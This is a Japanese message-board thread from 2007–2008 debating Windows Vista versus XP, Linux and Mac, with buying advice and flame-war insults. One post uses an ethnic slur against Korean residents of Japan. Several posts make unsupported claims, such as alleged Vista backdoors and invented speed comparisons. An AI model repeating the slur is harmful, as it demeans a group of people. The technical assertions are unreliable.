>150 ウィンドウのドラッグ中に透明度が上がるのだけは良さげ ほかの効果ははっきり言ってうざいだけだな
>>165 そんなのlinixでもとっくにやってるんで。
それもaeroより遥かに軽く軽快にね。
はっきり言ってコードの性能はlinuxに太刀打できないよ。
ttp://d.hatena.ne.jp/ytqwerty/20070228/p1 まず、偉い人は、コードの品質なんか気にしません。非効率で拡張性が無くて冗長でバグの温床が
いっぱいあっても、仕様を満たしていれば良いコードであり、逆もしかりです。なお、ここでいう仕様は、
その場の解釈によって逐次変化します。どんなに手間暇かけた素晴らしいコードであっても、あっさり
ボツになります。そこで腐ってはいけません。
偉い人は、コードの品質なんか気にしていませんが、気にしているふりをしないといけないので、行数だの
ファンクションポイントだのコーディング規則だのといったものを持ち出してきます。その評価基準のもとでは
、冗長なコードほど評価されたりしますが、やはり腐ってはいけません。
マイクロソフトには偉い人が多すぎるんだよ。
高学歴の高級取りで教養や知識は豊富だけどプログラミングは下手な管理職。
linuxには偉い人は一人もいない。
プログラマが自分の才能を自由に表現する。
書類仕事もない。
仕様書はコードで書く。
そこ、途中から話をすり替えつつ得意気にならないように。
169 :
名無し~3.EXE :2007/03/12(月) 19:50:39 ID:MIDcHVdE
>>166 同意。
自分の意志で自由に表現する場合は、概ねとして妥協の入り込む余地は無い。
金をもらって納期に間に合わせる仕事は、表面繕うだけの妥協仕事。
中身が全然違いますわな。
前者は先に行くほど上昇していくが、後者は同じレベルを堂々巡り。
MSは金の力でここまでのことをやってきたが、これから先はじり貧を余儀なくされるだろう。
OSで金を儲け続けるということの限界が先に見えてきた。
オフィス等のアプリについても同様。
ハードに革新的変化がおとずれない限りは新たな需要を喚起するのは無理だな。
> ハードに革新的変化がおとずれない限りは新たな需要を喚起するのは無理だな。 ハードに革新的変化がおとずれないと、新しいパソコンを買ってもらえない。 Macも大変だろうな。
近くのヤマダで新品のXPが売りきれてた。
そりゃ、売り切れじゃなくて、在庫処分が終わっただけ。
XPが好きな奴は、Macを買う事、それが賢い選択 だってVIsta以上のOSX、そしてXPも動くんだもん 正直、VIstaはOSそのものの性能もOSXに劣るし 製品やソフトの対応も未対応ばかりでOSX以下 選択する理由がないかもなw
なんかさあ LinuxやMacのほうがVistaより優れているって主張すること自体は別にいいんだけどさ ここで見るそういう主張ってなんで無根拠だったり論理が繋がっていないような頭の悪い書き込みしかないの? 少しはまともな根拠を書けよ 実際に優れている面はあるんだからそれを筋道立てて書いたらどうなんだ? Windowsの板にわざわざそんな事書きに来る時点で頭が悪いんだろうけどさ
>>174 どっちみち、Windowsは買うという結論でいいか?
>>174 Windows使う人はOSを動かしたい訳ではないんだよ
Windows対応アプリを使いたいのさ
そのあたりマカとは考え方が違う
XPが好きな人はXPのパッケージ版を買うんじゃないのか? 俺は半年後くらいにノート買い換えるつもりだから、Vista発売とほぼ同時に とりあえずXPproのパッケージだけ買った 半年後にOSなし購入なり、Vista入りPCをアンインストするなりして使う予定
>>179 へー。こんな馬鹿がいるんだ。
積極的にVistaを買う理由はないが避ける理由もない。
>>180 へー。こんなアホいるんだ。
人それぞれのことにいちいち口出してその割りに中身のない煽りだけ。
ビジネスのDSP版買えばいいのに...
Vista搭載PC買ったらVistaで使えばいいじゃん なんでXPに拘るのかわからん
>>183 たとえばせっかくE6700買ってもvistaだとE6300相当にしてくれるから。
メモリ1GB積んでもvistaは空きメモリがほとんど無いから。
ようするにvistaがバソコンの性能を低下させるから。
XPに拘ると言うよりもvistaはOSXやLinuxと比較して低性能すぎる。
・・・などと意味不明な発言を繰り返しており、 警察は今後、精神鑑定なども視野に入れながら捜査を進めていく予定。
ハードの性能-OSの浪費分=ユーザーが使える性能。 こんな簡単な算数も分からないのか。 vista買うくらいなんだから馬鹿なんだろうけどw
>メモリ1GB積んでもvistaは空きメモリがほとんど無いから。 もうちょっと勉強してから来てねw
こういう中途半端な理解のやつが よくわかってないけどvista批判を繰り広げるって言うのが一番面倒だな。
VRAMって知ってる?
オンボードだと1GBでほとんど空きメモリ無くなるよ。
オンポードでなくてもVRAMが足りない分はメインメモリに場所つくるんで。
VRAMが512MBという話は無くなったけど結局VRAM+メインメモリで512MB必要。
>>187 みたいに俺のは大丈夫だからみんな同じはずだと言う方がよっぽど無知だ。
>189 たまには妄想でものを語らず現実を見て書き込みましょう。
はっきいってWin2000で1GとかXPで2Gなんてメモリを積んでも生かせないんだよね。 OSがリソースを食うって言っている人はその辺理解しているのだろうか。 ちなみに自分のLinuxでは少し使うと2G搭載しているメモリでフリーメモリが100Mくらいになってる。 これはリソースメーターとは別にメモリの内容を詳しく見る命令があるんだけど、それでみるとね。 で、そのLinuxがどんなメモリ管理かというと例としてFirefoxとかのブラウザーを80個同時に立ち上げて もディスクへのスワップメモリが発生しない。メモリを使いきっているって事。 何が言いたいかというと、最近の性能のいいPCや2Gメモリなどは最近のOS(MSでいくとvista)にした方が 生かせるということ。ちゃんとそういった作りになっているよ。 付属機能が重いとかは別に考えてね。
linuxもXPも空きメモリは全てバッファ/キャッシュに活用する。 linuxは空きメモリ(バッファ/キャッシュ)と表示する。 XPはただ空きメモリと表示する。 メモリ使うでも浪費と活用は別でvistaの場合浪費でしかない。 vistaはあれだけメモリ使って何も効果が無いんだから。 空きメモリが少ないのをメモリ使っていると喜んでる馬鹿はさすがに痛い。 OS無駄遣いされているのに喜んでる。
ワークステーションと低価格低性能PC(日本では発売されないクラス)、どちらもハードの性能を フルに絞り出す必要があってlinuxが選ばれる。 一方でOSが無駄にハードの性能を浪費するのを喜んでいる馬鹿がいる。 本来ユーザーが使える性能をvistaに盗み食いされているのに。 無駄遣いと利用の区別がつかないようだね。
194が馬鹿だということはわかった
Vistaのいいとこ デザイン サイドバー Vistaの悪いとこ フリーソフトで使えないのがある(重要) スペックのわりに動作遅い デスクトップテーマ、スクリーンセーバーの激減(意外と重要) ファイル関係変えすぎ
197 :
名無し~3.EXE :2007/03/24(土) 14:31:13 ID:yn+b5YOO
>スペックのわりに動作遅い wwwwwwwwwwwwwwwww
199 :
名無し~3.EXE :2007/03/24(土) 16:13:12 ID:BS5IKmNs
9x->w2k/xpは重くなったけどそれ以上に性能が上がった。 vistaは重くなって性能も下がってしまった。 ハードの性能を絞り出す とか ハードを使いきる とか 意味分かってないんだろうな。 OSがハードを浪費するのをハードを使えていると勘違いしてる。
ビスタPCを自作して 「早なった!!!」とおもったら まえのPCの性能がしたすぎただけだった
204 :
名無し~3.EXE :2007/05/07(月) 10:06:34 ID:uPg3UAxz
残念ながらビスタは売れない。 このままでは売れないし、買うべきでもない。 今買ってSP1やSP2まで気長に何とかやりくりして使うことを想定していても無駄な労力を強いられるだけで先行きは不明だ。 現状のバグに起因する問題が解決された場合でも、 XPと比較してこれがあるからビスタがいいという部分が皆無なのが痛すぎる。 皆無という理由は、全てXP+フリーソフトで充分賄えるということにある。 それにまして、アプリやフリーソフトの互換性やら周辺機器のドライバの問題を考えたらマイナス要因だけになる。 XPから5年経過してこの程度の代物を出してきたこと自体がMSの行き詰まりを予感させますね。 もっとも、本命はビスタの次のOSという見方もあるようですからわかりませんけれど。 各関連ソフト会社やハードメーカーなどもビスタ用としては真剣には取り組まないでしょう。 対応しても単に小手先だけの一時しのぎ的対応になると思います。 2000やXPを使い続けてきた乗り換え期待組が完全にそっぽ向いている状況ですからね。 98やMEユーザーですらXPをわざわざ求めている人が少なくない状態ですから。 ビスタのデザインがXPの標準デザインと同じであるとしたら誰が買いますかね? それを考えただけで新OSとしての中身が無いというのがわかります。
ビスタは保護者の制限機能で厨房に2ちゃんねるを行かせないようにすることが可能 厨房にPCをやる時間を制限することが可能 厨房にエロサイト等の有害サイトを見させないようにすることが可能
PCのことが良くわからないので、どなたか教えてください。 仕事でのオフィス作業がメインの、モバイルノート購入を考えています。 候補が3つあるので、皆さんならどれを選ぶのかと理由をお願いします。 @[中古FMV 15.4インチ] XP,Core2Duo,80GB,512MB,DVD-ROMコンボドライブ Office2007付 \119700 A[中古VAIO 12.1インチ] XP,CelronM,60GB,512MB,DVD-ROMコンボドライブ Office2007付 \99700 B[新品hp 15.4インチ] Vista,Turion64×2デュアルコアTL52,120GB,1GB,DVDスーパーマルチコンボドライブ Office2007無 \99900 初心者丸出しな質問で申し訳ございませんが、宜しくお願いします。
曲がりなりにもMSOfficeのどれか持ってるならBの一択、迷う理由がわからない ただし仕事で持ち歩くなら当然A、性能なんて基本的にモバイル専用なら要らない、軽さが全て
>>208 レスありがとうございます。
CPUが過去に使ったことなかった、hp製品も初めて、Vistaはどうかな?という点で迷いが…。
でも決めました。ありがとうございます。
>209 悪い、一個だけ注意、もし会社で使ってるソフトが独自のだったりしたらVistaじゃなくてXPにしたほうがいいぞ。 単純にOffice使うだけなら97でも問題自体はなさそうだったし、重要なのはOSじゃなくてソフトを生かせる環境だから
>>210 ありがとうございます。
一応調べましたが、互換性で特に問題はないとのことです。
勉強になりました。
ありがとうございました。
212 :
サブパソコンはビスタ :2007/08/02(木) 06:45:34 ID:/z9ORIKy
ビスタ動く環境でやっと何不自由なくXPが動くのに互換性も少ないビスタなんて使う必要があるのか 今こそ完成されたXPを使い続けるべきだろ 普通に使ってる奴はXP使ってOSじゃなくてやってる作業自体に集中するべき
213 :
名無し~3.EXE :2007/08/02(木) 08:15:05 ID:eR7RKO2N
僕はXP Service Pack1aです。
214 :
名無し~3.EXE :2007/08/02(木) 08:19:08 ID:eR7RKO2N
Vistaになってから、デスクトップやエクスプローラ上の右クリックメニューにアクセラレータつかなくなったのなんで? マウスとキーボード同時に使ってる俺にはVistaの操作性なんて理解できない。
215 :
名無し~3.EXE :2007/08/02(木) 11:31:09 ID:f+rwhRtv
どれもよくわからんからvista機買ってさせ子と共同プレイ
217 :
名無し~3.EXE :2007/08/02(木) 13:44:15 ID:MGXPF4yH
>>212 まったく俺と同じだ。
新品でハードウェアのスペックも明らかに高いVistaマシンをサブにしてる。
普通なら飛びつくのに
メインで使う気にならん
218 :
名無し~3.EXE :2007/08/02(木) 19:53:53 ID:AbnMqpoy
インタネットをする。 文章を書く。 デジカメの写真を整理したり加工したりする。 ホームページを時々更新する。 エクセルというか表計算ソフトを時々使う。 こうなると、 やっぱウィンドゥーズVista という選択肢しかなくなる。
OSとしての基本的な部分は2Kから大して進歩してないだろ。 むしろ現時点では、Vistaでできて2KやXPにできないことより、 2KやXPにできるのにVistaに変えると出来なくなることの方が多そうな気がする。
220 :
名無し~3.EXE :2007/08/02(木) 21:22:58 ID:G5YdzNTw
>>219 2Kにあまり力を注ぎすぎてしまったから後のMEは没
XPも消えかけた。機能的に必要とされていなかった若き日のXP
221 :
名無し~3.EXE :2007/08/02(木) 21:31:20 ID:G5YdzNTw
winのITバブルは2Kで始まり2k終わる。
224 :
名無し~3.EXE :2007/08/03(金) 14:19:30 ID:ny4lCb18
>>223 やけくそだね。
VistaはさっさとSP4位まで出して、サポート長くしてケレ
XPは知らん。
なんだ厨同士の煽り合い隔離スレか
>>220 たしか、2000で9X系をとりこむつもりだったのにできなくて。
マーケティング上9X系次期OSを出さないとまずくなって。
しかたなしに開発したのがMeだった気がするけど?ちがったっけ
>>226 正解。
本当は、XPがミレニアムエディションと呼ばれる予定だったはず。
229 :
名無し~3.EXE :2007/08/03(金) 16:21:47 ID:1du5oIDP
XPどのへんがミレニアムエディション? 実際、XPは多く広まったが2kもさっぱりしてて、ロートルノートには イイ感じ。
230 :
名無し~3.EXE :2007/08/03(金) 16:27:41 ID:1du5oIDP
XPが消えるときVistaも一緒に心中だ。どっちにしても新しいOS出たら消される 失敗作。で新しいOSはさらに失敗作。
231 :
名無し~3.EXE :2007/08/04(土) 18:56:36 ID:PDBSN1s7
でもこのスレは仲間ワレのすれなのか? OS同士のVSって電気屋とかのキャンペーン?
232 :
名無し~3.EXE :2007/08/04(土) 19:00:07 ID:PDBSN1s7
XPでもVistaでもどっちでも良いじゃん、そんなの。
233 :
名無し~3.EXE :2007/08/05(日) 13:27:25 ID:KlU8VSvc
Vista来て、約一週間。 慣れてくると使い方に慣れて慣れた動きになる。 いまはディスプレー1台にVistaとXPの二台を使って切り替えながら使っている。 もうすぐXPは人にあげてしまう。 メモリー512+128の640MBでHDDが40GBと120GBの二台搭載。DVDは+R-Rともに二層対応 ここまでいじったが、 結局Vista来たら、Core2の2.4GHzにメモリー2GBでHDD300GBと快適。 あとは256MBグラフィックボードと300GBのHDDを追加するだけ。 これで以前のXPより格安だったんだから、お買い得。 デスクトップパソコン限定だけど、いまなら10〜15万円も出せば2年前でいうところのハイスペックマシンが買えるよ。
VistaがXPsp2を超えるのはいつですか・・・orz
235 :
名無し~3.EXE :2007/08/06(月) 03:59:17 ID:nf3eamGK
うちのビスタは最高だ。高速処理でなおかつ安定している。 ただノートンだけがウザイ。結局ノートン設定をすべて無効にして使っている。
Vistaは幾らメモリを積んでもノートだと遅いな。 デスクトップなら普通に使える環境までもっていけるようだが・・・ ドライバが揃うなら2Kが一番シンプルで良い気がする。
237 :
名無し~3.EXE :2007/08/06(月) 06:20:35 ID:uGGZj4Nv
ビスタはセキュリティが強化されてるらしいという印象しかない あとデザインに気を使ったかんじかな
3Dflipとかエアロとか、けっこうマックライクだよな
東アジア言語版のフォントはきったねえままだけどなw 如何に亜米利加から見て世界の果ての極東が軽視されているかわかろうというものだ 発言力があるはずのMSKKもXP Homeのサポート延長に寄与しただけで、肝心のVistaは お粗末なフォントしか搭載できない
240 :
名無し~3.EXE :2007/08/06(月) 20:13:00 ID:DHj+M853
フォントか
241 :
名無し~3.EXE :2007/08/07(火) 07:47:15 ID:N79FsJPY
そのセキュリティーをすべて無効にして使っている俺は、アホなのだろうか? オマケで入っていたノートンも切った。 あれがあるとソフトのインスチュールができない。 ただLive Up Dateのメッセージが起動するたびに出てくる。 自動アップデート無効にしているのに何故だ? もうコンパネからプログラムと機能へと入り、削除するしかないんかな。
少なくとも、俺から見たら阿呆だね 「セキュリティと利便性はトレードオフ」とは誰が言ったか知らないが、名言だと思うね
>>214 Alt を押さないとアンダーラインがつかない設定を入れてないか?
これを入れてると元々アンダーラインは出ないが
そうじゃないという話であれば、アクセラレータキーは表示されてる
環境おかしいんじゃないか?
>>236 ノートならそれこそ XP 以降だろ
休止状態を今時 PIO でやるとか、使い物にならなすぎる
>>239 メイリオだけですら開発に 3 年かかってるという現実
日本語だけでもとんでもない字数をデザインしないとならないのに
アルファベット圏並にフォントを用意するのは無理すぎる
コストが数万倍以上違うからな
245 :
名無し~3.EXE :2007/08/13(月) 17:29:24 ID:95e8Yx7d
>>243 > Alt を押さないとアンダーラインがつかない設定
そんな設定はしてないし、買ったときから出てなかったよ
246 :
名無し~3.EXE :2007/10/15(月) 22:45:58 ID:nsuvThRL
247 :
名無し~3.EXE :2007/10/15(月) 23:31:41 ID:Wk1XlPM6
>>244 つまり、
M S は フ ォ ン ト で は 大 き く 遅 れ て い る
ということですね?
他のまともなフォントを載せてるOSがあるのだから、巨大な資本を背景にしたMSに それができないとは言わせない! その巨大な資本と開発リソースは何のためにあるのだ?
249 :
名無し~3.EXE :2007/10/16(火) 01:41:49 ID:xVuDgEWs
つまらん
251 :
名無し~3.EXE :2007/10/18(木) 16:17:49 ID:luHzVLgk
そりゃよかったな
▅▅▅▅▅▅▅▅▅▅▅ ▄▇▓::▃▃ ▃▃ ▓▇▄ ▄█▓░◤ ◥ ◤ ◥ ░▓▇▄ ▄█▓░ ◢ ◣ ◢ ◣░▓▇▄ ▄█▓░ ▐ █▋▐ ▐ █▋ ▐ ░▓▇▄ ▄█▓░: ◥ ◤ ◥ ◤ ░▓▇▄ █▓░▒ ◤▀▀◥ ▃ ▃ ◤▀▀◥▒:░▓█ █▓░ ::::▒░░::▊ ▲ ▐ :::░░▒::::░▓█ █▓░:: ◥▃▃▅██▅▃▃◤ ░▓█ ▀█▓░ ███████ ░▓█▀ ▀█▓░ ▐▓▓▓▓▓▓▌ ░▓█▀ ▀█▓░ ▀▀▀▀▀▀ ░▓█▀
>>236 Vistaはメモリの容量よりも、CPUの性能の方が重要な気がする。
いくらメモリ2GB積んでても、CPUがPen4だったりセレロンだったりしてちゃ
もっさりだし
__ノ \〈:::::||::://::::::/" __ 三、 .. :.: ::::/::/::,イ // >=ゞ:::||/厶ー'゙ / }:::::::::::/:::/:/:::l レ /:::::::::rー''" / 彡/::/::/::/:::::::::! / /::://:/ / ,.ィ≧ュ、 `ァ〃イ^ヽ::::::::::/ . { ゝく〈_ヽ 、 // ,〃 ィ之ノ _.´ ∨ L }::::::/ ゝ_ >ー 〉::ト=ミュゝヾ彡=´ ̄ ̄´ 〉 ,'::::∧`ヽ ヽ__/::/ ィ圦フ} `ヾ´ ̄ ゝ/彡'::/ } \ -=ニ二ノ|::ヽ  ̄ノ ┬' ∨ / ヽ |::::l く 、 { / / \ |:::::', ヽ __,. -ー- 、 l / / l:∧\ くr=' フ´ ̄ ヽ ノ / / !::∧ \ ', / / , ' / \::ヽ /\ ∨__ / / r─// _\∨ ∧ ー─ / / // _ __ -ー ¨´ / ` { ∧ ,.イ__ / 〈 \ { r' / ヽ\` ̄「`Y´ 人_/ \ \! | ゝ 三ミ{ | { / }\ ヽ| ビスタを汚すやつは俺が許さねぇ!!
256 :
名無し~3.EXE :2008/01/16(水) 22:19:20 ID:EeczlVbn
エアロがカッコいいから、vistaに憧れてしまうけど、 よく考えたらエアロより、Lunaが綺麗になった「Royale」の方がカッコいいかなって思ったのです。 エアロを快適に動かすには2ギガのメモリと、グラフィックスボードが必要らしくて、 でもメモリ2ギガ同士のXPとvistaなら、XPの方が仕事できそうだなって思ったんです。
どうせたいした仕事もさせないくせに
258 :
名無し~3.EXE :2008/01/17(木) 01:57:54 ID:T9S5kLkN
自分にあったのを選べ
>>1 つうか、こんなスレあったのかw
259 :
名無し~3.EXE :2008/01/19(土) 05:07:08 ID:QMniWEB0
現行機ノートでCPU 2GHz、メモリ1〜2GByteを買おうとしてるんだが、 OSをVISTAとXP選べるんだよね。どっちが買いでしょうか? アドバイスぷり〜ず
260 :
名無し~3.EXE :2008/01/19(土) 09:41:23 ID:P4Vkz3bl
常識的にXPだろう。 デスクトップですら使いにくいvistaをノートで使うなどは選んだ時点で失敗だわな。 vistaにして得られる実用的メリットはゼロに近いし、それに比べて被るデメリットは致命的だ。 互換性、ちぐはぐ操作性、あの程度の仕様でシステムサイズのでかさは異常、・・・等々色々ありすぎる。 まあ、HDに数十万のファイルを全く未整理状態で入れて、 そこから検索して当該のファイルを見つけ出すという作業を煩雑に行うならば、 そのことを最重要視するならば、vistaがいいだろう。 まあ、xpでもデータベースさえ入れれば同じことはできるのだけどな。 検索を超重視しないならば普通にxpが賢い。 xpのデザインが気に入らないならスキンを入れ替えればオール無問題。
>>259 好きな方を選べよ。
「俺、昼飯にカツ丼と親子丼のどっちを食べたらいいと思う?」
と訊いてるようなもんだよ。
262 :
boda :2008/01/19(土) 23:19:42 ID:PKmEuxFb
はじめまして。 俺もパソコンを買おうと思っている VistaよりXPのほうが好きなんだが、みんなのオヌヌメを教えてくれ
263 :
名無し~3.EXE :2008/01/20(日) 00:34:46 ID:dBCco5Xi
おまえはWindows95でも使ってろ
XPだね。Vista?使った事ないですが。
>>262 最近PC買ったけどOCXSはXPにしたよ。
正解だと思ってる。
266 :
名無し~3.EXE :2008/01/20(日) 12:11:54 ID:l3x15K5y
>>260 VISTAの操作性はより整理され、体系化されてる気がするが。
XPに固執してる人って頭の固いおっさんって感じがするよ。
Vistaでは動かないソフト多い=使えない Vistaは要・超高スペック=使えない
どっちも問題無いね おっさんになると思考が停止するみたい
269 :
名無し~3.EXE :2008/01/21(月) 03:36:57 ID:uThDHILt
DELLでニューマシンを購入予定でOSをXPかVistaかで迷ってます。 最終的にはVistaになるんだろうけど、いまはXPで十分かな〜と思ってるので、 とりあえずXPで、あとで必要になったらVistaを入れようと思うのですが、 もともとVistaが入っているマシンと、もともとはXPが入っていて後からVistaにアップグレードしたマシン、 同じ構成だったら全く同じになるのでしょうか? わからん・・・。
今買うならXPでいいと思うけどな サポートがまだ数年も続くんだから サポートが終わる頃には、PCも格段に性能アップしてるだろうし 今より安く高性能なPCでvistaを快適に動かせるしね
未だ片鱗も見えぬWin7に過大な期待を寄せてるのはXP厨 新OSで要求されるPCスペックは毎回上がるのに、Vistaも使えない頭もPCも低スペックなXP厨がWin7に何を期待してんだか Win7が発売されたらされたでまた重い、使いづらい、糞だとか言って、XP延長しろとか言い出すに決まってる
いっそのことGIGAのレボ詐欺みたいにしてくれればいいのに
273 :
名無し~3.EXE :2008/01/21(月) 11:50:55 ID:SBUROvLt
XP厨がVista関連スレを荒らす理由 ・低収入世帯、ニート、年金暮らし、貧乏学生、無職で金が無く、Vistaを快適に使えるPCに買い換える事ができないので、Vistaを快適な状態で使っている連中を僻んだり妬ましく思っている ・使われていない空きメモリを有効に使うVistaのスーパーフェッチを、XP厨が優越感満々で「Vistaはメモリ大食いで糞」と無知で間抜けな頭を披露する為 ・表向きはXPがVistaより上だと虚勢を張っているが、実は本心は逆で、XPより進んだ機能やシステムを羨ましく思っちゃってるので、ガキのように駄々をこねている ・新OSでも自分の低スペックPCが快適に動くはずと、本気で信じていた貧乏なXP厨が発狂して、信憑性がゼロで怪しいブログなどの記事のコピペを貼りまって煽り、XPを延命させようとしている ・池沼なのか低脳なのか知らんが、Vistaの新しい仕様が理解できず、ついていけないので、Vistaを貶めてXPを延命させようとしている ・割れ厨がXPを延命させる為 ・在日チョンの陰謀
274 :
名無し~3.EXE :2008/01/21(月) 17:21:25 ID:YdvgEHDU
フォトショとかフラとかガンガン使うならXPがいいですか?それともVISTAのほうが後々サポートとかも長いし結果的にいいのかな。
それらのソフトのスレで聞いたほうがよい
276 :
名無し~3.EXE :2008/01/21(月) 20:45:06 ID:YdvgEHDU
ありがとう。そうします。
277 :
名無し~3.EXE :2008/01/21(月) 22:22:49 ID:B8QjY2xk
おそらく、win7の開発チームは2000やXPを手がけていたチームだろう。 visataは間に合わせの半端な代物だからインドに発注して適当にやらせた。 おそらくvistaの路線は打ち切りで、今後は採用されない気がする。 素人以外のユーザーにスカンを食っているvistaの二の舞は踏むまい。 ハードを酷使するだけで意味のないアロエなどはおそらく却下される可能性が高い。 糞を掴まされた呪いの声は実際、激しいものがあるからな。 それらを無視してvistaと同類項を出してきたら総スカンの憂き目に遭う。 XPのXP3はvistaの2倍以上の処理能力を持つが、その延長線上でより細かく使いやすく、 且つ、デザインを大幅に、自由に変更出来るような仕様になる可能性が高い。 ファイル検索用のデータベースは簡易にON・OFF設定可能な状態で搭載するだろう。 互換性については、2000やXPをキッチリサポートするかたちで互換性をほぼ完全なものとするか、 全く別の路線に行くかも知れない。(この路線では半端なvistaも当然捨てられる。) しかし、現状のNTFSで問題が無い以上は2000とXPの完全サポート方向でないかな。 でなければ企業にシカトされる。
278 :
名無し~3.EXE :2008/01/21(月) 23:59:11 ID:LUB3xqPh
Vistaのバッファオーバーフロー防止機能ってなんていう名前だったっけ? 買ってすぐ無効にしたんだけど一応元に戻そうかとも思ったので・・・
>>277 はいはい、マカー工作員、マカー工作員。
2000から新PCついでにVistaにしたけど ジャンクションのバグ直ってるのね XPから?Vistaから?
282 :
名無し~3.EXE :2008/01/26(土) 01:13:06 ID:FmfqpOuE
ジャンクションのバグってなんでしたか。
>>281 ルートに作ると消せなくなるって奴?
めんどいからやってないけど、XPでは直ってないと思う
あとは、ジャンクションを削除すると 実体のフォルダの中身が巻き込まれたりする ごみ箱経由の場合、ごみ箱に入れた段階では大丈夫でも 空にしたとたん巻き込まれたり ごみ箱に入れたジャンクション取り出すと ジャンクションが実体化して実体のフォルダの中身が 元ジャンクションのフォルダに取られたりとか …要はエクスプローラがジャンクションを考慮してないってことだな Vistaの場合、ショートカットと同じように 左下に矢印がついてるね
WMエンコーダーが使えねえじゃないか。ビス子使えねえ。
普通に使えてるのですが・・・@x86
ある程度以上のPC性能だとXPよりVistaのほうが軽快とかって書き込みを見かけるが 自分が使い比べた限りではVistaはもっさりだよ。 他にも使いにくいところあるし結局XPに戻したよ 【CPU】E6750 【メモリ】2GB*2 【グラボ】7900GS もしかしてこれでもまだダメってこと?
Vistaは見た目の軽さというよりはアプリ多重で使用におけるパフォーマンスがXP時より良くなっている 後Aero有効のままアニメーション切り、ファイラ使うなりシェルなり変えれば見た目も従来と殆ど似たような軽快さになる ↓使ってるPC 【CPU】939 3500+ 【メモリ】512x4 2GB 【グラボ】x850xt こんな3世代位前のマシンでも軽快に動作するので色々弄るとry
そう?自分はゲーム用途でPC使ってるが、結局Vistaの良さが感じられなくて 1ヵ月ほどでXPに戻したよ。見た目は断然Vistaがいいと思うけど、それだけだったな
VistaってAeroとか外見的なところが強調されがちだけど 外見より実は裏方の部分の方が相当手が入れられてる OSとしては洗練されてると思うよ ただ、最大の問題は互換性… NT系の流儀をキッチリ守ってたアプリは動くんだが 9xの流儀を引きずってたりとか 裏技的なことをしてたアプリが死んでる あとは開発側がどこまで対応出来るかだなぁ
俺個人としては、その裏方の部分で「よし! Vistaに乗り換えよう!」 と思える機能がないのが最大の難点。
292 :
名無し~3.EXE :2008/01/29(火) 10:05:08 ID:G61BDDcr
今から新しいマシン買うなら普通にVistaでいいんじゃないの スペックが変わってもXP→XPだと感動が無いし 不満を言えば32bitVistaはともかく64bitOSの互換性をどうにかして欲しい フォトショとかペインターとか高い金出して買ったソフトはドライバーも出てるんだが エロゲメーカーのサポートのやる気の無さが悲しい
64bitで動かなかったエロゲって俺ないんだけど・・・具体的なタイトルってある?
>>293 聖なるかな
要求スペック高いのに泣ける
295 :
名無し~3.EXE :2008/01/30(水) 12:35:50 ID:xP3DE7qA
69 ジャーナリスト(東京都) [] Date:2008/01/25(金) 07:39:50.42 ID:7h12uIko0 Be: Q1:VISTAとXP、どっちが軽い? A1:性能のいいPCならVISTAの方が軽いです。性能の悪いPCはXPの方が軽いです。 Q2:XPと2k、どっちが軽い? A2:性能のいいPCなら、2kです。性能の悪いPCも2kです。 Q3:ということは、性能のいいPCはVISTA、性能の悪いPCは2kが最適ということ? A3:そういうことです。 Q4:ではなぜ2ちゃんねるはXP連呼がうるさいのですか? A4:VISTAを買えないことからの嫉妬です。 Q5:VISTAのOSぐらいなら買うことぐらいはできるだろww A5:VISTAを買うということは、VISTAの推奨スペック以上のPCを新調するということです。
思考能力ゼロの馬鹿が多いな・・・ これでは・・・・
・XPはハイスペックPCが買えない貧乏人専用OSだから割れ厨、無職、ニートが多い ・XPはクリーンインストしても1年持たず不安定になりデフラグしても無駄(Vistaは変わらずヌルヌル快適) ・XPはメモリが限界になるとスワップ出まくりで、メモリを開放しても動作がもっさりだから再起動が必要 Vistaはスーパーフェッチ効果でアプリのキャッシュを溜め込んでも、空きメモリが必要な時はすぐ開放する メモリ開放によるもっさりは無いから再起動も必要無いし快適 スワップでHDDがカリカリする所はあまり見た事が無い ・XPのルナスタイルは正直言うとダサい(Vistaは渋い。その証拠にXPの見た目をVista化するスレもある) ・XP厨が待ち焦がれていたWin7はVistaベースのOSと分かって、ハイスペックPCが買えないXP厨涙目 ・XPのSP3はほとんどが今までの修正プログラムの塊みたいな物なのに、新機能が追加されてVistaより快適になると勘違いしている池沼が多い ・いつまでも古臭いXPにしがみ付いてゴネているXP厨の為に、新しいPCを買い換える猶予期間の為のXPのサポ期間延長なのに、XPの優秀さが認められたとか馬鹿な妄想をして喜んでいる馬鹿が多い ・XP厨も本当はVistaを使いたいけど、Vistaを快適に使えるPCは持っていないし買えもしないので、妬みと逆恨みでVista関連スレに来ては煽ったり荒らしたりして憂さを晴らしている ・XPをDirectX10に対応させないのは、もう終わってるXPに無駄な予算をつぎ込む必要は無いからである ・XPのセキュリティは穴だらけ、VistaはXPよりも安心 ・XPのHDDの初期化とクリーンインストは時間がかかりすぎなのに対して、Vistaはあっという間に終わる ・XPのWinアップデートはWebベースなのに対して、Vistaは「Windows Update」というアプリで行うので早い ・テレビ通販の影響かVistaのフリップ3Dだけをエアロだと思っている馬鹿なXP厨が多い
だからなに
真に受けるなyo
流石にこういうのはやり過ぎだな・・・ でもメモリ管理周りとかは良くなってるのは事実だから新規PCで自分の使う範囲で問題なければ Vistaがいいかも
OSを研究しているその筋の学生とか研究職なら参考のひとつとして持っててもいいと思う。 がしかし、 1.効率よくメモリを管理消化しているはずがXPよりも処理が2倍近くも遅いという事実。 2.バックドア疑惑はそのまま。 3.ドライバ、アプリ、フリーソフトについて互換性のなさ。(PC使い倒している人は該当する可能性高し) 4.一般に必要としない検索用のデータベース構築に常にHDにアクセス。 検索用のためとは限らず、バックドアのためのデータ造りも兼ねているという筋の可能性も有る。 5.アロエと3Dの何がユーザーにメリットなのか理解に苦しむ 6.粗末な機能であるのに巨大なシステムファイル。 どうしたらこんなサイズになるのか不思議、いったいどんな機能を隠しているん? 7.電源OFFではなくて、スリープを前提としているので省エネとは逆行する方向。(何を見据えているのか不明) そのためなのか知らないが終了ボタンが小さすぎ。 操作性を無視した吊りデザインに始終した感あり。 8.比較的高スペックのハード性能を必要とする。(XPならワンクラス下でも余裕でサクサク動作) 何のためのメモリ効率化なのか? 本末転倒。 9.XPよりもデザインは優れている。(但し、XPでもフリーのスキンを入れたら同じになる。) 10.企業群は当たり前に採用していない。(万一のための互換性検証用として僅かに導入しているのみ) これは世界の共通事項であり、この意味を甘く考えないほうが宜しい。 公的機関がvista採用を控えているのも当たり前。 11.ユーザーの多くが vista をぼろくそに罵倒しているのも全世界共通項。 以上を総括すると、新OSとしての器も無ければ、乗り換える意味もないということに帰着するという寸法です。 残念ながらこれは事実であり、どうにもなりません。 まあ、MSは大嫌いですがwinを使わざるを得ません。 XP or 2000 がOSとして優れているとは口が裂けても言えません。 無問題で信頼できるとも言えません。 しかし、少なくともMS製品の中では群を抜いて一番マシであると断言できます。 